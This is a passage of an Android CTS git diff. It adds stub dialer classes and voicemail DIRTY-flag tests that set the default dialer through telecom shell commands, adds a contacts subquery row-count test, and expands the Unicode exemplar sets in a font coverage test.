+                <action android:name="android.intent.action.DIAL"/>
+                <data android:scheme="tel"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
similarity index 75%
rename from tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
rename to tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
index 3fbf255..b87343c 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
@@ -14,10 +14,15 @@
  * limitations under the License.
  */
 
-package android.graphics.fonts.cts;
+package android.provider.cts.contacts;
 
 import android.app.Activity;
 
-public class MockActivity extends Activity {
+/**
+ * Does nothing. Listens to the dial intent to make the test eligible to be set as the default
+ * dialer.
+ */
+public class StubDialerActivity extends Activity {
 
-}
\ No newline at end of file
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
similarity index 71%
copy from tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
copy to tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
index 3fbf255..4d84782 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
@@ -14,10 +14,13 @@
  * limitations under the License.
  */
 
-package android.graphics.fonts.cts;
+package android.provider.cts.contacts;
 
-import android.app.Activity;
+import android.telecom.InCallService;
 
-public class MockActivity extends Activity {
+/**
+ * An in-call service that does nothing except allowing CTS provider to be set as a default dialer.
+ */
+public class StubInCallService extends InCallService {
 
-}
\ No newline at end of file
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
index 4861669..75561f9 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -16,16 +16,25 @@
 
 package android.provider.cts.contacts;
 
+import android.app.Instrumentation;
 import android.content.ContentProviderClient;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
 import android.provider.VoicemailContract;
 import android.provider.VoicemailContract.Status;
 import android.provider.VoicemailContract.Voicemails;
 import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
 
 /**
  * CTS tests for voicemail provider accessed through {@link VoicemailContract}.
@@ -38,6 +47,15 @@
     private Uri mStatusContentUri;
     private String mSourcePackageName;
 
+    private String mPreviousDefaultDialer;
+
+    private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
+    private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
+
+    private static final String PACKAGE = "android.provider.cts";
+
+    private final String FOREIGN_SOURCE = "android.provider.cts.contacts.foreign_source";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -56,6 +74,9 @@
         // entries inserted by this package.
         mStatusProvider.delete(mStatusContentUri, null, null);
         mVoicemailProvider.delete(mVoicemailContentUri, null, null);
+        if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+            setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+        }
         super.tearDown();
     }
 
@@ -169,8 +190,7 @@
         assertEquals(updateDate, cursor.getLong(DATE_INDEX));
         assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
         assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
-        // Self modifying so DIRTY should be overridden to 0
-        assertEquals(0,cursor.getInt(DIRTY_INDEX));
+        assertEquals(1,cursor.getInt(DIRTY_INDEX));
         assertEquals(1,cursor.getInt(DELETED_INDEX));
         assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
         assertEquals(1,cursor.getInt(RESTORED_INDEX));
@@ -186,6 +206,95 @@
         cursor.close();
     }
 
+    public void testForeignUpdate_dirty() throws Exception {
+        // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+        // a foreign source package.
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        mVoicemailProvider.update(uri, new ContentValues(), null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(1, cursor.getInt(0));
+        }
+    }
+
+    public void testForeignUpdate_explicitNotDirty() throws Exception {
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Voicemails.DIRTY,0);
+        mVoicemailProvider.update(uri, updateValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(0, cursor.getInt(0));
+        }
+    }
+
+    public void testForeignUpdate_null_dirty() throws Exception {
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Voicemails.DIRTY, (Integer) null);
+        mVoicemailProvider.update(uri, updateValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(1, cursor.getInt(0));
+        }
+    }
+
+    public void testForeignUpdate_NotNormalized_normalized() throws Exception {
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Voicemails.DIRTY, 2);
+        mVoicemailProvider.update(uri, updateValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(1, cursor.getInt(0));
+        }
+    }
+
+    public void testLocalUpdate_notDirty() throws Exception {
+
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.DIRTY,1);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+        mVoicemailProvider.update(uri, new ContentValues(), null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(cursor.getInt(0), 0);
+        }
+    }
+
+
     // Data column should be automatically generated during insert.
     public void testInsert_doesNotUpdateDataColumn() throws Exception {
 
@@ -356,4 +465,57 @@
             // Expected result.
         }
     }
+
+    private void setTestAsDefaultDialer() throws Exception{
+        assertTrue(mPreviousDefaultDialer == null);
+        mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
+        setDefaultDialer(getInstrumentation(),PACKAGE);
+    }
+
+    private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
+            throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
+    }
+
+    private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
+    }
+
+    /**
+     * Executes the given shell command and returns the output in a string. Note that even if we
+     * don't care about the output, we have to read the stream completely to make the command
+     * execute.
+     */
+    private static String executeShellCommand(Instrumentation instrumentation,
+            String command) throws Exception {
+        final ParcelFileDescriptor parcelFileDescriptor =
+                instrumentation.getUiAutomation().executeShellCommand(command);
+        BufferedReader bufferedReader = null;
+        try (InputStream in = new FileInputStream(parcelFileDescriptor.getFileDescriptor())) {
+            bufferedReader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String string = null;
+            StringBuilder out = new StringBuilder();
+            while ((string = bufferedReader.readLine()) != null) {
+                out.append(string);
+            }
+            return out.toString();
+        } finally {
+            if (bufferedReader != null) {
+                closeQuietly(bufferedReader);
+            }
+            closeQuietly(parcelFileDescriptor);
+        }
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+                // Quietly.
+            }
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
new file mode 100644
index 0000000..ab15977
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.account;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_Subquery extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testProviderStatus_addedContacts() throws Exception {
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+
+        // Get the total row count.
+        final int allCount;
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
+            allCount = cursor.getCount();
+        }
+
+        // Make sure CP2 gives the same result with an always-true subquery.
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+                "exists(select 1)", null, null)) {
+            assertEquals(allCount, cursor.getCount());
+        }
+
+        // Make sure CP2 returns no rows with an always-false subquery.
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+                "not exists(select 1)", null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+}
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index 68c9afa..4f66ee7 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -53,7 +53,13 @@
             + "&[:^Block=Ancient_Greek_Numbers:]&[:^Block=Ancient_Symbols:]]");
 
     private static final UnicodeSet MIN_EXTRAS = new UnicodeSet(
-            "[\u0301" // COMBINING ACUTE ACCENT
+            "[\u0300" // COMBINING GRAVE ACCENT
+            + "\u0301" // COMBINING ACUTE ACCENT
+            + "\u0307" // COMBINING DOT ABOVE
+            + "\u0308" // COMBINING DIAERESIS
+            + "\u0313" // COMBINING COMMA ABOVE
+            + "\u0342" // COMBINING GREEK PERISPOMENI
+            + "\u0345" // COMBINING GREEK YPOGEGRAMMENI
             + "\u2010" // HYPHEN
             + "\u2013" // EN DASH
             + "\u2014" // EM DASH
@@ -75,10 +81,12 @@
     // Characters outside of MIN_COVERAGE that are needed for some locales.
     private static final HashMap<String, UnicodeSet> EXEMPLAR_MAP = new HashMap();
     static {
-        EXEMPLAR_MAP.put("agq", new UnicodeSet("[{\u0254\u0300}{\u0254\u0302}{\u0254\u0304}"
-                + "{\u0254\u030C}{\u025B\u0300}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}"
-                + "{\u0268\u0300}{\u0268\u0302}{\u0268\u0304}{\u0268\u030C}{\u0289\u0300}"
-                + "{\u0289\u0302}{\u0289\u0304}{\u0289\u030C}]"));
+        EXEMPLAR_MAP.put("agq", new UnicodeSet("[{\u0186\u0302}{\u0186\u0304}{\u0186\u030C}"
+                + "{\u0190\u0302}{\u0190\u0304}{\u0190\u030C}{\u0197\u0302}{\u0197\u0304}"
+                + "{\u0197\u030C}{\u0244\u0302}{\u0244\u0304}{\u0244\u030C}{\u0254\u0302}"
+                + "{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}"
+                + "{\u0268\u0302}{\u0268\u0304}{\u0268\u030C}{\u0289\u0302}{\u0289\u0304}"
+                + "{\u0289\u030C}]"));
         EXEMPLAR_MAP.put("am", new UnicodeSet("[\u1200-\u1206\u1208-\u1246\u1248\u124A-\u124D"
                 + "\u1260-\u1286\u1288\u128A-\u128D\u1290-\u12AE\u12B0\u12B2-\u12B5\u12B8-\u12BE"
                 + "\u12C8-\u12CE\u12D0-\u12D6\u12D8-\u12EE\u12F0-\u12F7\u1300-\u130E\u1310"
@@ -105,12 +113,14 @@
                 + "\u0993-\u09A8\u09AA-\u09AF\u09B2\u09B6-\u09B9\u09BC\u09BE-\u09C3\u09C7\u09C8"
                 + "\u09CB-\u09CD\u09E6-\u09F2{\u0995\u09CD\u09B7}{\u09A1\u09BC}"
                 + "{\u09A2\u09BC}{\u09AF\u09BC}]"));
-        EXEMPLAR_MAP.put("bas", new UnicodeSet("[{a\u1DC6}{a\u1DC7}{e\u1DC6}{e\u1DC7}{i\u1DC6}"
-                + "{i\u1DC7}{o\u1DC6}{o\u1DC7}{u\u1DC6}{u\u1DC7}{\u0254\u0300}{\u0254\u0302}"
-                + "{\u0254\u0304}{\u0254\u030C}{\u0254\u1DC6}{\u0254\u1DC7}{\u025B\u0300}"
-                + "{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u025B\u1DC6}{\u025B\u1DC7}]"));
-        EXEMPLAR_MAP.put("bg", new UnicodeSet("[\u2116{\u0430\u0300}{\u043E\u0300}{\u0443\u0300}"
-                + "{\u044A\u0300}{\u044E\u0300}{\u044F\u0300}]"));
+        EXEMPLAR_MAP.put("bas", new UnicodeSet("[{A\u1DC6}{A\u1DC7}{E\u1DC6}{E\u1DC7}{I\u1DC6}"
+                + "{I\u1DC7}{O\u1DC6}{O\u1DC7}{U\u1DC6}{U\u1DC7}{a\u1DC6}{a\u1DC7}{e\u1DC6}"
+                + "{e\u1DC7}{i\u1DC6}{i\u1DC7}{o\u1DC6}{o\u1DC7}{u\u1DC6}{u\u1DC7}{\u0186\u0302}"
+                + "{\u0186\u0304}{\u0186\u030C}{\u0186\u1DC6}{\u0186\u1DC7}{\u0190\u0302}"
+                + "{\u0190\u0304}{\u0190\u030C}{\u0190\u1DC6}{\u0190\u1DC7}{\u0254\u0302}"
+                + "{\u0254\u0304}{\u0254\u030C}{\u0254\u1DC6}{\u0254\u1DC7}{\u025B\u0302}"
+                + "{\u025B\u0304}{\u025B\u030C}{\u025B\u1DC6}{\u025B\u1DC7}]"));
+        EXEMPLAR_MAP.put("bg", new UnicodeSet("[\u2116]"));
         EXEMPLAR_MAP.put("bn", new UnicodeSet("[\u0981-\u0983\u0985-\u098C\u098F\u0990"
                 + "\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8"
                 + "\u09CB-\u09CE\u09D7\u09E0-\u09E3\u09E6-\u09FA{\u0995\u09CD\u09B7}{\u09A1\u09BC}"
@@ -122,23 +132,22 @@
                 + "{\u0F4C\u0FB7}{\u0F51\u0FB7}{\u0F56\u0FB7}{\u0F5B\u0FB7}{\u0F71\u0F72}"
                 + "{\u0F71\u0F74}{\u0F71\u0F80}{\u0F90\u0FB5}{\u0F92\u0FB7}{\u0F9C\u0FB7}"
                 + "{\u0FA1\u0FB7}{\u0FA6\u0FB7}{\u0FAB\u0FB7}{\u0FB2\u0F80}{\u0FB3\u0F80}]"));
-        EXEMPLAR_MAP.put("br", new UnicodeSet("[{c\u02BCh}]"));
+        EXEMPLAR_MAP.put("br", new UnicodeSet("[{C\u02BCH}{C\u02BCh}{c\u02BCh}]"));
         EXEMPLAR_MAP.put("brx", new UnicodeSet("[\u0901\u0902\u0905-\u090A\u090D\u090F-\u0911"
                 + "\u0913-\u0918\u091A-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C"
                 + "\u093E-\u0943\u0945\u0947-\u0949\u094B-\u094D{\u0921\u093C}]"));
-        EXEMPLAR_MAP.put("chr", new UnicodeSet("[\u13A0\u13A6\u13AD\u13B3\u13B9\u13BE\u13C6\u13CC"
-                + "\u13D3\u13DC\u13E3\u13E9\u13EF\u13F8-\u13FC\uAB70-\uABBF]"));
+        EXEMPLAR_MAP.put("chr", new UnicodeSet("[\u13A0-\u13F4\u13F8-\u13FC\uAB70-\uABBF]"));
         EXEMPLAR_MAP.put("dz", new UnicodeSet("[\u0F04-\u0F06\u0F08-\u0F0A\u0F0C-\u0F12\u0F14"
                 + "\u0F20-\u0F29\u0F34\u0F36\u0F3C\u0F3D\u0F40-\u0F42\u0F44-\u0F47\u0F49-\u0F4C"
                 + "\u0F4E-\u0F51\u0F53-\u0F56\u0F58-\u0F5B\u0F5D-\u0F68\u0F72\u0F74\u0F7A-\u0F7E"
                 + "\u0F80\u0F84\u0F90-\u0F92\u0F94\u0F97\u0F99-\u0F9C\u0F9E-\u0FA1\u0FA3-\u0FA6"
                 + "\u0FA8-\u0FAB\u0FAD\u0FB1-\u0FB3\u0FB5-\u0FB7\u0FBA-\u0FBC\u0FBE\u0FBF"
                 + "\u0FD0-\u0FD4]"));
-        EXEMPLAR_MAP.put("ee", new UnicodeSet("[{\u0254\u0300}{\u0254\u0303}{\u025B\u0300}"
+        EXEMPLAR_MAP.put("ee", new UnicodeSet("[{\u0186\u0303}{\u0190\u0303}{\u0254\u0303}"
                 + "{\u025B\u0303}]"));
-        EXEMPLAR_MAP.put("ewo", new UnicodeSet("[{\u0254\u0300}{\u0254\u0302}{\u0254\u030C}"
-                + "{\u0259\u0300}{\u0259\u0302}{\u0259\u030C}{\u025B\u0300}{\u025B\u0302}"
-                + "{\u025B\u030C}]"));
+        EXEMPLAR_MAP.put("ewo", new UnicodeSet("[{\u0186\u0302}{\u0186\u030C}{\u018F\u0302}"
+                + "{\u018F\u030C}{\u0190\u0302}{\u0190\u030C}{\u0254\u0302}{\u0254\u030C}"
+                + "{\u0259\u0302}{\u0259\u030C}{\u025B\u0302}{\u025B\u030C}]"));
         EXEMPLAR_MAP.put("fa-AF", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
                 + "\u0654\u0656\u066A-\u066C\u0670\u067C\u067E\u0681\u0685\u0686\u0689\u0693\u0696"
                 + "\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06CC\u06F0-\u06F9\u2039\u203A]"));
@@ -149,20 +158,21 @@
                 + "\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9"
                 + "\u0ACB-\u0ACD\u0AD0\u0AE0\u0AF0{\u0A85\u0A82}{\u0A85\u0A83}"
                 + "{\u0A95\u0ACD\u0AB7}{\u0A9C\u0ACD\u0A9E}{\u0AA4\u0ACD\u0AB0}]"));
-        EXEMPLAR_MAP.put("ha", new UnicodeSet("[\u02BC{r\u0303}{\u02BCY}{\u02BCy}]"));
+        EXEMPLAR_MAP.put("ha", new UnicodeSet("[\u02BC{R\u0303}{r\u0303}{\u02BCY}{\u02BCy}]"));
         EXEMPLAR_MAP.put("haw", new UnicodeSet("[\u02BB]"));
-        EXEMPLAR_MAP.put("iw", new UnicodeSet("[\u05B0-\u05B9\u05BB-\u05BF\u05C1\u05C2\u05C4"
+        EXEMPLAR_MAP.put("he", new UnicodeSet("[\u05B0-\u05B9\u05BB-\u05BF\u05C1\u05C2\u05C4"
                 + "\u05D0-\u05EA\u05F3\u05F4]"));
         EXEMPLAR_MAP.put("hi", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
                 + "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
                 + "\u094B-\u094D\u0950\u0970]"));
         EXEMPLAR_MAP.put("hu", new UnicodeSet("[\u2052\u27E8\u27E9]"));
-        EXEMPLAR_MAP.put("hy", new UnicodeSet("[\u055A-\u055F\u0561-\u0587\u058A]"));
+        EXEMPLAR_MAP.put("hy", new UnicodeSet("[\u0531-\u0556\u055A-\u055F\u0561-\u0587\u058A]"));
         EXEMPLAR_MAP.put("ii", new UnicodeSet("[\uA000-\uA48C]"));
-        EXEMPLAR_MAP.put("jgo", new UnicodeSet("[\u2039\u203A{m\u0300}{m\u0304}{n\u0304}"
-                + "{\u014B\u0300}{\u014B\u0304}{\u0244\u0308}{\u0254\u0302}{\u0254\u030C}"
-                + "{\u025B\u0300}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u0289\u0302}"
-                + "{\u0289\u0308}{\u0289\u030C}]"));
+        EXEMPLAR_MAP.put("jgo", new UnicodeSet("[\u2039\u203A{M\u0304}{N\u0304}{m\u0304}{n\u0304}"
+                + "{\u014A\u0304}{\u014B\u0304}{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+                + "{\u0190\u0304}{\u0190\u030C}{\u0244\u0302}{\u0244\u030C}{\u0254\u0302}"
+                + "{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u0289\u0302}"
+                + "{\u0289\u030C}]"));
         EXEMPLAR_MAP.put("ja", new UnicodeSet("[\u2015\u2016\u2025\u2030\u203B\u203E\u3001-\u3003"
                 + "\u3005\u3008-\u3011\u3014\u3015\u301C\u3041-\u3093\u309D\u309E\u30A1-\u30F6"
                 + "\u30FB-\u30FE\u4E00\u4E01\u4E03\u4E07-\u4E0B\u4E0D\u4E0E\u4E11\u4E14\u4E16\u4E18"
@@ -355,11 +365,10 @@
                 + "\u9CEF\u9CF4\u9D8F\u9E7F\u9E97\u9EA6\u9EBB\u9EC4\u9ED2\u9ED9"
                 + "\u9F13\u9F20\u9F3B\u9F62\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F"
                 + "\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF61-\uFF65]"));
-        EXEMPLAR_MAP.put("ka", new UnicodeSet("[\u10D0-\u10FB\u2116\u2D00-\u2D25]"));
-        EXEMPLAR_MAP.put("kea", new UnicodeSet("[{n\u0308}]"));
-        EXEMPLAR_MAP.put("kkj", new UnicodeSet("[\u2039\u203A{I\u0327}{U\u0327}{a\u0327}{i\u0327}"
-                + "{u\u0327}{\u0186\u0327}{\u0254\u0300}{\u0254\u0302}{\u0254\u0327}{\u025B\u0300}"
-                + "{\u025B\u0302}{\u025B\u0327}]"));
+        EXEMPLAR_MAP.put("ka", new UnicodeSet("[\u10A0-\u10C5\u10D0-\u10FB\u2116\u2D00-\u2D25]"));
+        EXEMPLAR_MAP.put("kkj", new UnicodeSet("[\u2039\u203A{A\u0327}{I\u0327}{U\u0327}{a\u0327}"
+                + "{i\u0327}{u\u0327}{\u0186\u0302}{\u0186\u0327}{\u0190\u0302}{\u0190\u0327}"
+                + "{\u0254\u0302}{\u0254\u0327}{\u025B\u0302}{\u025B\u0327}]"));
         EXEMPLAR_MAP.put("km", new UnicodeSet("[\u1780-\u17A2\u17A5-\u17A7\u17A9-\u17B3"
                 + "\u17B6-\u17D2\u17D4-\u17D6\u17D9\u17DA\u200B{\u17A2\u17B6}{\u17A7\u1780}]"));
         EXEMPLAR_MAP.put("kn", new UnicodeSet("[\u0C82\u0C83\u0C85-\u0C8C\u0C8E-\u0C90"
@@ -453,19 +462,19 @@
         EXEMPLAR_MAP.put("ksh", new UnicodeSet("[\u2E17]"));
         EXEMPLAR_MAP.put("lkt", new UnicodeSet("[\u02BC{k\u02BC}{p\u02BC}{s\u02BC}{t\u02BC}"
                 + "{\u010D\u02BC}{\u0161\u02BC}{\u021F\u02BC}]"));
-        EXEMPLAR_MAP.put("ln", new UnicodeSet("[{\u0254\u0302}{\u0254\u030C}{\u025B\u0302}"
-                + "{\u025B\u030C}]"));
+        EXEMPLAR_MAP.put("ln", new UnicodeSet("[{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+                + "{\u0190\u030C}{\u0254\u0302}{\u0254\u030C}{\u025B\u0302}{\u025B\u030C}]"));
         EXEMPLAR_MAP.put("lo", new UnicodeSet("[\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D"
                 + "\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9"
                 + "\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC\u0EDD\u200B"
                 + "{\u0EAB\u0E87}{\u0EAB\u0E8D}{\u0EAB\u0E99}{\u0EAB\u0EA1}{\u0EAB\u0EA5}"
                 + "{\u0EAB\u0EA7}]"));
-        EXEMPLAR_MAP.put("lt", new UnicodeSet("[{i\u0307\u0300}{i\u0307\u0301}"
-                + "{i\u0307\u0303}{j\u0303}{j\u0307\u0303}{l\u0303}{m\u0303}{r\u0303}{\u0105\u0303}"
-                + "{\u0117\u0303}{\u0119\u0303}{\u012F\u0303}{\u012F\u0307\u0301}"
-                + "{\u012F\u0307\u0303}{\u016B\u0303}{\u0173\u0303}]"));
-        EXEMPLAR_MAP.put("lu", new UnicodeSet("[{\u0254\u0300}{\u025B\u0300}]"));
-        EXEMPLAR_MAP.put("mgo", new UnicodeSet("[\u02BC{\u0254\u0300}{\u0259\u0300}]"));
+        EXEMPLAR_MAP.put("lt", new UnicodeSet("[{I\u0303}{I\u0307\u0303}{J\u0303}{J\u0307\u0303}"
+                + "{L\u0303}{M\u0303}{R\u0303}{i\u0307\u0303}{j\u0303}{j\u0307\u0303}{l\u0303}"
+                + "{m\u0303}{r\u0303}{\u0104\u0303}{\u0105\u0303}{\u0116\u0303}{\u0117\u0303}"
+                + "{\u0118\u0303}{\u0119\u0303}{\u012E\u0303}{\u012E\u0307\u0303}{\u012F\u0303}"
+                + "{\u012F\u0307\u0303}{\u016A\u0303}{\u016B\u0303}{\u0172\u0303}{\u0173\u0303}]"));
+        EXEMPLAR_MAP.put("mgo", new UnicodeSet("[\u02BC]"));
         EXEMPLAR_MAP.put("ml", new UnicodeSet("[\u0D02\u0D03\u0D05-\u0D0C\u0D0E-\u0D10"
                 + "\u0D12-\u0D28\u0D2A-\u0D39\u0D3E-\u0D43\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D60"
                 + "\u0D61\u0D7A-\u0D7F]"));
@@ -479,14 +488,16 @@
         EXEMPLAR_MAP.put("ne", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
                 + "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
                 + "\u094B-\u094D\u0950\u0966-\u096F]"));
-        EXEMPLAR_MAP.put("nmg", new UnicodeSet("[{\u01DD\u0302}{\u01DD\u0304}{\u01DD\u030C}"
-                + "{\u0254\u0302}{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}"
-                + "{\u025B\u030C}]"));
-        EXEMPLAR_MAP.put("nnh", new UnicodeSet("[\u02BC{\u0254\u0300}{\u0254\u0302}{\u0254\u030C}"
-                + "{\u025B\u0300}{\u025B\u0302}{\u025B\u030C}{\u0289\u0300}{\u0289\u0302}"
-                + "{\u0289\u030C}]"));
-        EXEMPLAR_MAP.put("nus", new UnicodeSet("[{a\u0331}{e\u0331}{i\u0331}{o\u0331}"
-                + "{\u0254\u0308}{\u0254\u0331}{\u025B\u0308}{\u025B\u0331}{\u025B\u0331\u0308}]"));
+        EXEMPLAR_MAP.put("nmg", new UnicodeSet("[{\u0186\u0302}{\u0186\u0304}{\u0186\u030C}"
+                + "{\u018E\u0302}{\u018E\u0304}{\u018E\u030C}{\u0190\u0302}{\u0190\u0304}"
